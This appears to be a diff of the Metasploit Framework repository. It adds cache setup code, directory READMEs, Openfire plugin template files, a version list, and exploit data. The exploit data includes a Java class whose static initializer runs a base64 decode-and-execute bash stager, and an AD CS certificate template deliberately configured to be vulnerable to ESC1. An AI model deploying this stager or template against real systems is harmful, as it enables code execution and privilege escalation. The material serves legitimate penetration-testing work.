win32api, 0.1.0, unknown
|
||||
@@ -190,5 +192,5 @@ windows_error, 0.1.5, BSD
|
||||
winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.2, "ruby, Simplified BSD"
|
||||
yard, 0.9.28, MIT
|
||||
zeitwerk, 2.6.7, MIT
|
||||
yard, 0.9.34, MIT
|
||||
zeitwerk, 2.6.8, MIT
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
This directory contains ActiveRecord concerns, models and validators.
|
||||
@@ -0,0 +1,3 @@
|
||||
Contains various files that help configure Metasploit. Most files here you'll never have to deal with, though
|
||||
`database.yml.example` might be useful for those looking to configure their database, and `openssl.conf`
|
||||
might be helpful for those trying to troubleshoot OpenSSL issues in Metasploit.
|
||||
@@ -38,3 +38,64 @@ lib_path = root.join('lib').to_path
|
||||
unless $LOAD_PATH.include? lib_path
|
||||
$LOAD_PATH.unshift lib_path
|
||||
end
|
||||
|
||||
require 'digest'
|
||||
require 'metasploit/framework/version'
|
||||
require 'msf/base/config'
|
||||
|
||||
# Invalidate and delete the bootsnap cache if required. For instance if the metasploit-framework version has changed.
|
||||
#
|
||||
# @param [Hash] bootsnap_config See https://github.com/Shopify/bootsnap/blob/95e8d170aea99a831fd484ce09ad2f195644e740/lib/bootsnap.rb#L38
|
||||
# @return [void]
|
||||
def invalidate_bootsnap_cache!(bootsnap_config)
|
||||
expected_cache_metadata = {
|
||||
'metasploit_framework_version' => Metasploit::Framework::Version::VERSION,
|
||||
'ruby_description' => RUBY_DESCRIPTION,
|
||||
'bundler_lockfile_hash' => Digest::MD5.hexdigest(Bundler.read_file(Bundler.default_lockfile)),
|
||||
'bootsnap_config' => {
|
||||
'load_path_cache' => bootsnap_config[:load_path_cache],
|
||||
'compile_cache_iseq' => bootsnap_config[:compile_cache_iseq],
|
||||
'compile_cache_yaml' => bootsnap_config[:compile_cache_yaml],
|
||||
}
|
||||
}
|
||||
|
||||
cache_metadata_path = File.join(bootsnap_config[:cache_dir], "metadata.yaml")
|
||||
if File.exist?(cache_metadata_path)
|
||||
cache_metadata = YAML.safe_load(File.binread(cache_metadata_path))
|
||||
if cache_metadata != expected_cache_metadata
|
||||
FileUtils.rm_rf(bootsnap_config[:cache_dir], secure: true)
|
||||
end
|
||||
end
|
||||
|
||||
FileUtils.mkdir_p(bootsnap_config[:cache_dir])
|
||||
File.binwrite(cache_metadata_path, expected_cache_metadata.to_yaml)
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Attempt to use bootsnap caching for improved startup time
|
||||
begin
|
||||
require 'bootsnap'
|
||||
env = ENV['RAILS_ENV'] || ENV['RACK_ENV'] || ENV['ENV']
|
||||
development_mode = ['', nil, 'development'].include?(env)
|
||||
|
||||
cache_dir = ::File.join(Msf::Config.config_directory, "bootsnap_cache")
|
||||
bootsnap_config = {
|
||||
cache_dir: cache_dir,
|
||||
ignore_directories: [],
|
||||
development_mode: development_mode,
|
||||
load_path_cache: true, # Optimize the LOAD_PATH with a cache
|
||||
compile_cache_iseq: false, # Don't compile Ruby code into ISeq cache, breaks coverage reporting.
|
||||
compile_cache_yaml: false, # Don't compile YAML into a cache
|
||||
readonly: false, # Update caches - https://github.com/Shopify/bootsnap/commit/b51397f96c33aa421fd5c29484fb9574df9eb451
|
||||
}
|
||||
invalidate_bootsnap_cache!(bootsnap_config)
|
||||
Bootsnap.setup(**bootsnap_config)
|
||||
rescue
|
||||
$stderr.puts 'Warning: Failed bootsnap cache setup'
|
||||
begin
|
||||
FileUtils.rm_rf(cache_dir, secure: true)
|
||||
rescue
|
||||
$stderr.puts 'Warning: Failed deleting bootsnap cache'
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
This folder contains various data files used for a variety of purposes, including but not limited to banners for the
|
||||
console, exploit source code for exploits (under `data/exploits`), template code and binaries, wordlists and shellcode.
|
||||
|
||||
As a general rule of thumb this folder will most often be used when you are using compiled binaries or source code from
|
||||
other exploits for cases such as local privilege escalation exploits and need to provide the exploit code and compiled
|
||||
binaries so that maintainers can verify the binary and compile it themselves, as so that modules can find the R7 compiled
|
||||
version of the resulting binary for use during exploitation.
|
||||
@@ -0,0 +1,27 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
|
||||
# the request). Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: -1
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
||||
msPKI-Certificate-Name-Flag: 1
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
Binary file not shown.
@@ -0,0 +1,11 @@
|
||||
import java.util.Base64;
|
||||
|
||||
public class PayloadRuns {
|
||||
static {
|
||||
try {
|
||||
Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}");
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
Executable
+69
@@ -0,0 +1,69 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin changelog</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add changelog content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1.5 KiB |
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1021 B |
Executable
+10
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<plugin>
|
||||
<class>com.example.openfire.plugin.Example</class>
|
||||
<name>PLUGINNAME</name>
|
||||
<description>PLUGINDESCRIPTION</description>
|
||||
<author>PLUGINAUTHOR</author>
|
||||
<version>1.0.0</version>
|
||||
<date>7/7/2008</date>
|
||||
<minServerVersion>3.5.0</minServerVersion>
|
||||
</plugin>
|
||||
Executable
+69
@@ -0,0 +1,69 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin readme</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add readme content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
@@ -0,0 +1,615 @@
|
||||
[
|
||||
"V3_0_0_SNAPSHOT",
|
||||
"V3_0_0_ALPHA1",
|
||||
"V3_0_0_BETA1",
|
||||
"V3_0_0_BETA2",
|
||||
"V3_0_0_BETA3",
|
||||
"V3_0_0_BETA4",
|
||||
"V3_0_0_BETA5",
|
||||
"V3_0_0_BETA6_SNAPSHOT",
|
||||
"V3_0_0_BETA6",
|
||||
"V3_0_0_BETA7_SNAPSHOT",
|
||||
"V3_0_0_BETA7",
|
||||
"V3_0_0_BETA8_SNAPSHOT",
|
||||
"V3_0_0_BETA8",
|
||||
"V3_0_0_BETA9_SNAPSHOT",
|
||||
"V3_0_0_BETA9",
|
||||
"V3_0_0_FINAL",
|
||||
"V3_0_1_SNAPSHOT",
|
||||
"V3_0_1",
|
||||
"V3_0_2_SNAPSHOT",
|
||||
"V3_0_2",
|
||||
"V3_0_3_SNAPSHOT",
|
||||
"V3_0_3",
|
||||
"V3_0_4_SNAPSHOT",
|
||||
"V3_0_4",
|
||||
"V3_0_5_SNAPSHOT",
|
||||
"V3_0_5",
|
||||
"V3_0_6_SNAPSHOT",
|
||||
"V3_0_6",
|
||||
"V3_0_7_SNAPSHOT",
|
||||
"V3_0_7",
|
||||
"V3_0_8_SNAPSHOT",
|
||||
"V3_0_8",
|
||||
"V3_0_9_SNAPSHOT",
|
||||
"V3_0_9",
|
||||
"V3_0_10_SNAPSHOT",
|
||||
"V3_0_10",
|
||||
"V3_0_11_SNAPSHOT",
|
||||
"V3_0_11",
|
||||
"V3_0_12_SNAPSHOT",
|
||||
"V3_0_12",
|
||||
"V3_0_13_SNAPSHOT",
|
||||
"V3_0_13",
|
||||
"V3_0_14_SNAPSHOT",
|
||||
"V3_0_14",
|
||||
"V3_0_15_SNAPSHOT",
|
||||
"V3_0_15",
|
||||
"V3_1_0_SNAPSHOT",
|
||||
"V3_1_0",
|
||||
"V3_1_1_SNAPSHOT",
|
||||
"V3_1_1",
|
||||
"V3_1_2_SNAPSHOT",
|
||||
"V3_1_2",
|
||||
"V3_1_3_SNAPSHOT",
|
||||
"V3_1_3",
|
||||
"V3_1_4_SNAPSHOT",
|
||||
"V3_1_4",
|
||||
"V3_1_5_SNAPSHOT",
|
||||
"V3_1_5",
|
||||
"V3_1_6_SNAPSHOT",
|
||||
"V3_1_6",
|
||||
"V3_1_7_SNAPSHOT",
|
||||
"V3_1_7",
|
||||
"V3_1_8_SNAPSHOT",
|
||||
"V3_1_8",
|
||||
"V3_1_9_SNAPSHOT",
|
||||
"V3_1_9",
|
||||
"V3_2_0_SNAPSHOT",
|
||||
"V3_2_0",
|
||||
"V3_2_1_SNAPSHOT",
|
||||
"V3_2_1",
|
||||
"V3_2_2_SNAPSHOT",
|
||||
"V3_2_2",
|
||||
"V3_2_3_SNAPSHOT",
|
||||
"V3_2_3",
|
||||
"V3_2_4_SNAPSHOT",
|
||||
"V3_2_4",
|
||||
"V3_2_5_SNAPSHOT",
|
||||
"V3_2_5",
|
||||
"V3_2_6_SNAPSHOT",
|
||||
"V3_2_6",
|
||||
"V3_2_7_SNAPSHOT",
|
||||
"V3_2_7",
|
||||
"V3_2_8_SNAPSHOT",
|
||||
"V3_2_8",
|
||||
"V3_2_9_SNAPSHOT",
|
||||
"V3_2_9",
|
||||
"V3_3_1_SNAPSHOT",
|
||||
"V3_3_1",
|
||||
"V3_3_2_SNAPSHOT",
|
||||
"V3_3_2",
|
||||
"V3_3_3_SNAPSHOT",
|
||||
"V3_3_3",
|
||||
"V3_3_4_SNAPSHOT",
|
||||
"V3_3_4",
|
||||
"V3_3_5_SNAPSHOT",
|
||||
"V3_3_5",
|
||||
"V3_3_6_SNAPSHOT",
|
||||
"V3_3_6",
|
||||
"V3_3_7_SNAPSHOT",
|
||||
"V3_3_7",
|
||||
"V3_3_8_SNAPSHOT",
|
||||
"V3_3_8",
|
||||
"V3_3_9_SNAPSHOT",
|
||||
"V3_3_9",
|
||||
"V3_4_1_SNAPSHOT",
|
||||
"V3_4_1",
|
||||
"V3_4_2_SNAPSHOT",
|
||||
"V3_4_2",
|
||||
"V3_4_3_SNAPSHOT",
|
||||
"V3_4_3",
|
||||
"V3_4_4_SNAPSHOT",
|
||||
"V3_4_4",
|
||||
"V3_4_5_SNAPSHOT",
|
||||
"V3_4_5",
|
||||
"V3_4_6_SNAPSHOT",
|
||||
"V3_4_6",
|
||||
"V3_4_7_SNAPSHOT",
|
||||
"V3_4_7",
|
||||
"V3_4_8_SNAPSHOT",
|
||||
"V3_4_8",
|
||||
"V3_4_9_SNAPSHOT",
|
||||
"V3_4_9",
|
||||
"V3_5_1_SNAPSHOT",
|
||||
"V3_5_1",
|
||||
"V3_5_2_SNAPSHOT",
|
||||
"V3_5_2",
|
||||
"V3_5_3_SNAPSHOT",
|
||||
"V3_5_3",
|
||||
"V3_5_4_SNAPSHOT",
|
||||
"V3_5_4",
|
||||
"V3_5_5_SNAPSHOT",
|
||||
"V3_5_5",
|
||||
"V3_5_6_SNAPSHOT",
|
||||
"V3_5_6",
|
||||
"V3_5_7_SNAPSHOT",
|
||||
"V3_5_7",
|
||||
"V3_5_8_SNAPSHOT",
|
||||
"V3_5_8",
|
||||
"V3_5_9_SNAPSHOT",
|
||||
"V3_5_9",
|
||||
"V3_6_1_SNAPSHOT",
|
||||
"V3_6_1",
|
||||
"V3_6_2_SNAPSHOT",
|
||||
"V3_6_2",
|
||||
"V3_6_3_SNAPSHOT",
|
||||
"V3_6_3",
|
||||
"V3_6_4_SNAPSHOT",
|
||||
"V3_6_4",
|
||||
"V3_6_5_SNAPSHOT",
|
||||
"V3_6_5",
|
||||
"V3_6_6_SNAPSHOT",
|
||||
"V3_6_6",
|
||||
"V3_6_7_SNAPSHOT",
|
||||
"V3_6_7",
|
||||
"V3_6_8_SNAPSHOT",
|
||||
"V3_6_8",
|
||||
"V3_6_9_SNAPSHOT",
|
||||
"V3_6_9",
|
||||
"V3_7_1_SNAPSHOT",
|
||||
"V3_7_1",
|
||||
"V3_7_2_SNAPSHOT",
|
||||
"V3_7_2",
|
||||
"V3_7_3_SNAPSHOT",
|
||||
"V3_7_3",
|
||||
"V3_7_4_SNAPSHOT",
|
||||
"V3_7_4",
|
||||
"V3_7_5_SNAPSHOT",
|
||||
"V3_7_5",
|
||||
"V3_7_6_SNAPSHOT",
|
||||
"V3_7_6",
|
||||
"V3_7_7_SNAPSHOT",
|
||||
"V3_7_7",
|
||||
"V3_7_8_SNAPSHOT",
|
||||
"V3_7_8",
|
||||
"V3_7_9_SNAPSHOT",
|
||||
"V3_7_9",
|
||||
"V3_8_1_SNAPSHOT",
|
||||
"V3_8_1",
|
||||
"V3_8_2_SNAPSHOT",
|
||||
"V3_8_2",
|
||||
"V3_8_3_SNAPSHOT",
|
||||
"V3_8_3",
|
||||
"V3_8_4_SNAPSHOT",
|
||||
"V3_8_4",
|
||||
"V3_8_5_SNAPSHOT",
|
||||
"V3_8_5",
|
||||
"V3_8_6_SNAPSHOT",
|
||||
"V3_8_6",
|
||||
"V3_8_7_SNAPSHOT",
|
||||
"V3_8_7",
|
||||
"V3_8_8_SNAPSHOT",
|
||||
"V3_8_8",
|
||||
"V3_8_9_SNAPSHOT",
|
||||
"V3_8_9",
|
||||
"V3_9_1_SNAPSHOT",
|
||||
"V3_9_1",
|
||||
"V3_9_2_SNAPSHOT",
|
||||
"V3_9_2",
|
||||
"V3_9_3_SNAPSHOT",
|
||||
"V3_9_3",
|
||||
"V3_9_4_SNAPSHOT",
|
||||
"V3_9_4",
|
||||
"V3_9_5_SNAPSHOT",
|
||||
"V3_9_5",
|
||||
"V3_9_6_SNAPSHOT",
|
||||
"V3_9_6",
|
||||
"V3_9_7_SNAPSHOT",
|
||||
"V3_9_7",
|
||||
"V3_9_8_SNAPSHOT",
|
||||
"V3_9_8",
|
||||
"V3_9_9_SNAPSHOT",
|
||||
"V3_9_9",
|
||||
"V4_0_0_SNAPSHOT",
|
||||
"V4_0_0",
|
||||
"V4_0_1_SNAPSHOT",
|
||||
"V4_0_1",
|
||||
"V4_0_2_SNAPSHOT",
|
||||
"V4_0_2",
|
||||
"V4_0_3_SNAPSHOT",
|
||||
"V4_0_3",
|
||||
"V4_0_4_SNAPSHOT",
|
||||
"V4_0_4",
|
||||
"V4_0_5_SNAPSHOT",
|
||||
"V4_0_5",
|
||||
"V4_0_6_SNAPSHOT",
|
||||
"V4_0_6",
|
||||
"V4_0_7_SNAPSHOT",
|
||||
"V4_0_7",
|
||||
"V4_0_8_SNAPSHOT",
|
||||
"V4_0_8",
|
||||
"V4_0_9_SNAPSHOT",
|
||||
"V4_0_9",
|
||||
"V4_1_0_SNAPSHOT",
|
||||
"V4_1_0",
|
||||
"V4_1_1_SNAPSHOT",
|
||||
"V4_1_1",
|
||||
"V4_1_2_SNAPSHOT",
|
||||
"V4_1_2",
|
||||
"V4_1_3_SNAPSHOT",
|
||||
"V4_1_3",
|
||||
"V4_1_4_SNAPSHOT",
|
||||
"V4_1_4",
|
||||
"V4_1_5_SNAPSHOT",
|
||||
"V4_1_5",
|
||||
"V4_1_6_SNAPSHOT",
|
||||
"V4_1_6",
|
||||
"V4_1_7_SNAPSHOT",
|
||||
"V4_1_7",
|
||||
"V4_1_8_SNAPSHOT",
|
||||
"V4_1_8",
|
||||
"V4_1_9_SNAPSHOT",
|
||||
"V4_1_9",
|
||||
"V4_2_0_SNAPSHOT",
|
||||
"V4_2_0",
|
||||
"V4_2_1_SNAPSHOT",
|
||||
"V4_2_1",
|
||||
"V4_2_2_SNAPSHOT",
|
||||
"V4_2_2",
|
||||
"V4_2_3_SNAPSHOT",
|
||||
"V4_2_3",
|
||||
"V4_2_4_SNAPSHOT",
|
||||
"V4_2_4",
|
||||
"V4_2_5_SNAPSHOT",
|
||||
"V4_2_5",
|
||||
"V4_2_6_SNAPSHOT",
|
||||
"V4_2_6",
|
||||
"V4_2_7_SNAPSHOT",
|
||||
"V4_2_7",
|
||||
"V4_2_8_SNAPSHOT",
|
||||
"V4_2_8",
|
||||
"V4_2_9_SNAPSHOT",
|
||||
"V4_2_9",
|
||||
"V4_3_0_SNAPSHOT",
|
||||
"V4_3_0",
|
||||
"V4_3_1_SNAPSHOT",
|
||||
"V4_3_1",
|
||||
"V4_3_2_SNAPSHOT",
|
||||
"V4_3_2",
|
||||
"V4_3_3_SNAPSHOT",
|
||||
"V4_3_3",
|
||||
"V4_3_4_SNAPSHOT",
|
||||
"V4_3_4",
|
||||
"V4_3_5_SNAPSHOT",
|
||||
"V4_3_5",
|
||||
"V4_3_6_SNAPSHOT",
|
||||
"V4_3_6",
|
||||
"V4_3_7_SNAPSHOT",
|
||||
"V4_3_7",
|
||||
"V4_3_8_SNAPSHOT",
|
||||
"V4_3_8",
|
||||
"V4_3_9_SNAPSHOT",
|
||||
"V4_3_9",
|
||||
"V4_4_0_SNAPSHOT",
|
||||
"V4_4_0",
|
||||
"V4_4_1_SNAPSHOT",
|
||||
"V4_4_1",
|
||||
"V4_4_2_SNAPSHOT",
|
||||
"V4_4_2",
|
||||
"V4_4_3_SNAPSHOT",
|
||||
"V4_4_3",
|
||||
"V4_4_4_SNAPSHOT",
|
||||
"V4_4_4",
|
||||
"V4_4_5_SNAPSHOT",
|
||||
"V4_4_5",
|
||||
"V4_4_6_SNAPSHOT",
|
||||
"V4_4_6",
|
||||
"V4_4_7_SNAPSHOT",
|
||||
"V4_4_7",
|
||||
"V4_4_8_SNAPSHOT",
|
||||
"V4_4_8",
|
||||
"V4_4_9_SNAPSHOT",
|
||||
"V4_4_9",
|
||||
"V4_5_0_SNAPSHOT",
|
||||
"V4_5_0",
|
||||
"V4_5_1_SNAPSHOT",
|
||||
"V4_5_1",
|
||||
"V4_5_2_SNAPSHOT",
|
||||
"V4_5_2",
|
||||
"V4_5_3_SNAPSHOT",
|
||||
"V4_5_3",
|
||||
"V4_5_4_SNAPSHOT",
|
||||
"V4_5_4",
|
||||
"V4_5_5_SNAPSHOT",
|
||||
"V4_5_5",
|
||||
"V4_5_6_SNAPSHOT",
|
||||
"V4_5_6",
|
||||
"V4_5_7_SNAPSHOT",
|
||||
"V4_5_7",
|
||||
"V4_5_8_SNAPSHOT",
|
||||
"V4_5_8",
|
||||
"V4_5_9_SNAPSHOT",
|
||||
"V4_5_9",
|
||||
"V4_6_0_SNAPSHOT",
|
||||
"V4_6_0",
|
||||
"V4_6_1_SNAPSHOT",
|
||||
"V4_6_1",
|
||||
"V4_6_2_SNAPSHOT",
|
||||
"V4_6_2",
|
||||
"V4_6_3_SNAPSHOT",
|
||||
"V4_6_3",
|
||||
"V4_6_4_SNAPSHOT",
|
||||
"V4_6_4",
|
||||
"V4_6_5_SNAPSHOT",
|
||||
"V4_6_5",
|
||||
"V4_6_6_SNAPSHOT",
|
||||
"V4_6_6",
|
||||
"V4_6_7_SNAPSHOT",
|
||||
"V4_6_7",
|
||||
"V4_6_8_SNAPSHOT",
|
||||
"V4_6_8",
|
||||
"V4_6_9_SNAPSHOT",
|
||||
"V4_6_9",
|
||||
"V4_7_0_SNAPSHOT",
|
||||
"V4_7_0",
|
||||
"V4_7_1_SNAPSHOT",
|
||||
"V4_7_1",
|
||||
"V4_7_2_SNAPSHOT",
|
||||
"V4_7_2",
|
||||
"V4_7_3_SNAPSHOT",
|
||||
"V4_7_3",
|
||||
"V4_7_4_SNAPSHOT",
|
||||
"V4_7_4",
|
||||
"V4_7_5_SNAPSHOT",
|
||||
"V4_7_5",
|
||||
"V4_7_6_SNAPSHOT",
|
||||
"V4_7_6",
|
||||
"V4_7_7_SNAPSHOT",
|
||||
"V4_7_7",
|
||||
"V4_7_8_SNAPSHOT",
|
||||
"V4_7_8",
|
||||
"V4_7_9_SNAPSHOT",
|
||||
"V4_7_9",
|
||||
"V4_8_0_SNAPSHOT",
|
||||
"V4_8_0",
|
||||
"V4_8_1_SNAPSHOT",
|
||||
"V4_8_1",
|
||||
"V4_8_2_SNAPSHOT",
|
||||
"V4_8_2",
|
||||
"V4_8_3_SNAPSHOT",
|
||||
"V4_8_3",
|
||||
"V4_8_4_SNAPSHOT",
|
||||
"V4_8_4",
|
||||
"V4_8_5_SNAPSHOT",
|
||||
"V4_8_5",
|
||||
"V4_8_6_SNAPSHOT",
|
||||
"V4_8_6",
|
||||
"V4_8_7_SNAPSHOT",
|
||||
"V4_8_7",
|
||||
"V4_8_8_SNAPSHOT",
|
||||
"V4_8_8",
|
||||
"V4_8_9_SNAPSHOT",
|
||||
"V4_8_9",
|
||||
"V4_9_0_SNAPSHOT",
|
||||
"V4_9_0",
|
||||
"V4_9_1_SNAPSHOT",
|
||||
"V4_9_1",
|
||||
"V4_9_2_SNAPSHOT",
|
||||
"V4_9_2",
|
||||
"V4_9_3_SNAPSHOT",
|
||||
"V4_9_3",
|
||||
"V4_9_4_SNAPSHOT",
|
||||
"V4_9_4",
|
||||
"V4_9_5_SNAPSHOT",
|
||||
"V4_9_5",
|
||||
"V4_9_6_SNAPSHOT",
|
||||
"V4_9_6",
|
||||
"V4_9_7_SNAPSHOT",
|
||||
"V4_9_7",
|
||||
"V4_9_8_SNAPSHOT",
|
||||
"V4_9_8",
|
||||
"V4_9_9_SNAPSHOT",
|
||||
"V4_9_9",
|
||||
"V5_0_0_SNAPSHOT",
|
||||
"V5_0_0",
|
||||
"V5_0_1_SNAPSHOT",
|
||||
"V5_0_1",
|
||||
"V5_0_2_SNAPSHOT",
|
||||
"V5_0_2",
|
||||
"V5_0_3_SNAPSHOT",
|
||||
"V5_0_3",
|
||||
"V5_0_4_SNAPSHOT",
|
||||
"V5_0_4",
|
||||
"V5_0_5_SNAPSHOT",
|
||||
"V5_0_5",
|
||||
"V5_0_6_SNAPSHOT",
|
||||
"V5_0_6",
|
||||
"V5_0_7_SNAPSHOT",
|
||||
"V5_0_7",
|
||||
"V5_0_8_SNAPSHOT",
|
||||
"V5_0_8",
|
||||
"V5_0_9_SNAPSHOT",
|
||||
"V5_0_9",
|
||||
"V5_1_0_SNAPSHOT",
|
||||
"V5_1_0",
|
||||
"V5_1_1_SNAPSHOT",
|
||||
"V5_1_1",
|
||||
"V5_1_2_SNAPSHOT",
|
||||
"V5_1_2",
|
||||
"V5_1_3_SNAPSHOT",
|
||||
"V5_1_3",
|
||||
"V5_1_4_SNAPSHOT",
|
||||
"V5_1_4",
|
||||
"V5_1_5_SNAPSHOT",
|
||||
"V5_1_5",
|
||||
"V5_1_6_SNAPSHOT",
|
||||
"V5_1_6",
|
||||
"V5_1_7_SNAPSHOT",
|
||||
"V5_1_7",
|
||||
"V5_1_8_SNAPSHOT",
|
||||
"V5_1_8",
|
||||
"V5_1_9_SNAPSHOT",
|
||||
"V5_1_9",
|
||||
"V5_2_0_SNAPSHOT",
|
||||
"V5_2_0",
|
||||
"V5_2_1_SNAPSHOT",
|
||||
"V5_2_1",
|
||||
"V5_2_2_SNAPSHOT",
|
||||
"V5_2_2",
|
||||
"V5_2_3_SNAPSHOT",
|
||||
"V5_2_3",
|
||||
"V5_2_4_SNAPSHOT",
|
||||
"V5_2_4",
|
||||
"V5_2_5_SNAPSHOT",
|
||||
"V5_2_5",
|
||||
"V5_2_6_SNAPSHOT",
|
||||
"V5_2_6",
|
||||
"V5_2_7_SNAPSHOT",
|
||||
"V5_2_7",
|
||||
"V5_2_8_SNAPSHOT",
|
||||
"V5_2_8",
|
||||
"V5_2_9_SNAPSHOT",
|
||||
"V5_2_9",
|
||||
"V5_3_0_SNAPSHOT",
|
||||
"V5_3_0",
|
||||
"V5_3_1_SNAPSHOT",
|
||||
"V5_3_1",
|
||||
"V5_3_2_SNAPSHOT",
|
||||
"V5_3_2",
|
||||
"V5_3_3_SNAPSHOT",
|
||||
"V5_3_3",
|
||||
"V5_3_4_SNAPSHOT",
|
||||
"V5_3_4",
|
||||
"V5_3_5_SNAPSHOT",
|
||||
"V5_3_5",
|
||||
"V5_3_6_SNAPSHOT",
|
||||
"V5_3_6",
|
||||
"V5_3_7_SNAPSHOT",
|
||||
"V5_3_7",
|
||||
"V5_3_8_SNAPSHOT",
|
||||
"V5_3_8",
|
||||
"V5_3_9_SNAPSHOT",
|
||||
"V5_3_9",
|
||||
"V5_4_0_SNAPSHOT",
|
||||
"V5_4_0",
|
||||
"V5_4_1_SNAPSHOT",
|
||||
"V5_4_1",
|
||||
"V5_4_2_SNAPSHOT",
|
||||
"V5_4_2",
|
||||
"V5_4_3_SNAPSHOT",
|
||||
"V5_4_3",
|
||||
"V5_4_4_SNAPSHOT",
|
||||
"V5_4_4",
|
||||
"V5_4_5_SNAPSHOT",
|
||||
"V5_4_5",
|
||||
"V5_4_6_SNAPSHOT",
|
||||
"V5_4_6",
|
||||
"V5_4_7_SNAPSHOT",
|
||||
"V5_4_7",
|
||||
"V5_4_8_SNAPSHOT",
|
||||
"V5_4_8",
|
||||
"V5_4_9_SNAPSHOT",
|
||||
"V5_4_9",
|
||||
"V5_5_0_SNAPSHOT",
|
||||
"V5_5_0",
|
||||
"V5_5_1_SNAPSHOT",
|
||||
"V5_5_1",
|
||||
"V5_5_2_SNAPSHOT",
|
||||
"V5_5_2",
|
||||
"V5_5_3_SNAPSHOT",
|
||||
"V5_5_3",
|
||||
"V5_5_4_SNAPSHOT",
|
||||
"V5_5_4",
|
||||
"V5_5_5_SNAPSHOT",
|
||||
"V5_5_5",
|
||||
"V5_5_6_SNAPSHOT",
|
||||
"V5_5_6",
|
||||
"V5_5_7_SNAPSHOT",
|
||||
"V5_5_7",
|
||||
"V5_5_8_SNAPSHOT",
|
||||
